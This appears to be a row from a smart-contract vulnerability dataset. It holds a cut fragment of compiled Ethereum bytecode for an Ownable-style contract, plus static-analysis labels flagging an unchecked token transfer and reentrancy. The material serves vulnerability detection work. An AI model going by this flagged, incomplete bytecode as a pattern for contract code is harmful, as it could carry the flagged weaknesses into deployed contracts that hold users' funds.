457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c11610df2565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b610cb7610bcf565b610d29576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600760006101000a81548160ff02191690831515021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d74610bcf565b610de6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610def81610dfa565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610f3f6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820005d0fa1bc82d6d3ae0a91e824e1651437990092f22529047889da75086c4cbf64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,999 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.